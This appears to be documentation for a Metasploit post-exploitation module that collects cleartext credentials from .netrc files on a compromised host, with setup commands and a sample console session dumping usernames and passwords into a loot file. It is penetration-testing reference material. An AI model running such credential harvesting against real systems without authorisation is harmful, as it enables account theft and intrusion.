## Vulnerable Application Post module to obtain credentials saved for FTP and other services in `.netrc` This file is kept in user's home directories to configure various services, such as curl, but contains cleartext credentials. ### Example netrc file Example documentation can be found in the curl docs on netrc: https://everything.curl.dev/usingcurl/netrc ``` echo "machine example.com login daniel password qwerty" > ~/.netrc echo "machine example2.com" >> ~/.netrc echo "login daniel2" >> ~/.netrc echo "password qwerty2" >> ~/.netrc ``` ## Verification Steps 1. Start msfconsole 1. Get a shell on a system 1. Do: `use post/multi/gather/netrc_creds` 1. Do: `set session [session]` 1. Do: `run` 1. If any `.netrc` files exist with credentials, they will be read and stored into a loot file. ## Options ## Scenarios ### Ubuntu 22.04.01 ``` msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux SSH ubuntu @ 2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1) msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/netrc_creds msf6 post(multi/gather/netrc_creds) > set session 1 session => 1 msf6 post(multi/gather/netrc_creds) > run [*] Reading: /bin/.netrc [*] Reading: /dev/.netrc [*] Reading: /home/syslog/.netrc [*] Reading: /home/ubuntu/.netrc [*] Reading: /nonexistent/.netrc [*] Reading: /root/.netrc [*] Reading: /run/ircd/.netrc [*] Reading: /run/sshd/.netrc [*] Reading: /run/systemd/.netrc [*] Reading: /run/uuidd/.netrc [*] Reading: /usr/games/.netrc [*] Reading: /usr/sbin/.netrc [*] Reading: /var/backups/.netrc [*] Reading: /var/cache/man/.netrc [*] Reading: /var/cache/pollinate/.netrc [*] Reading: /var/lib/gnats/.netrc [*] Reading: /var/lib/landscape/.netrc [*] Reading: /var/lib/tpm/.netrc [*] Reading: /var/lib/usbmux/.netrc [*] Reading: /var/list/.netrc [*] Reading: /var/mail/.netrc [*] Reading: /var/snap/lxd/common/lxd/.netrc [*] Reading: /var/spool/lpd/.netrc [*] Reading: /var/spool/news/.netrc [*] Reading: /var/spool/uucp/.netrc [*] Reading: /var/www/.netrc .netrc credentials ================== Username Password Server -------- -------- ------ daniel qwerty example.com daniel2 qwerty2 example2.com [*] Credentials stored in: /root/.msf4/loot/20221008103946_default_1.1.1.1_netrc.creds_551386.txt [*] Post module execution completed ```
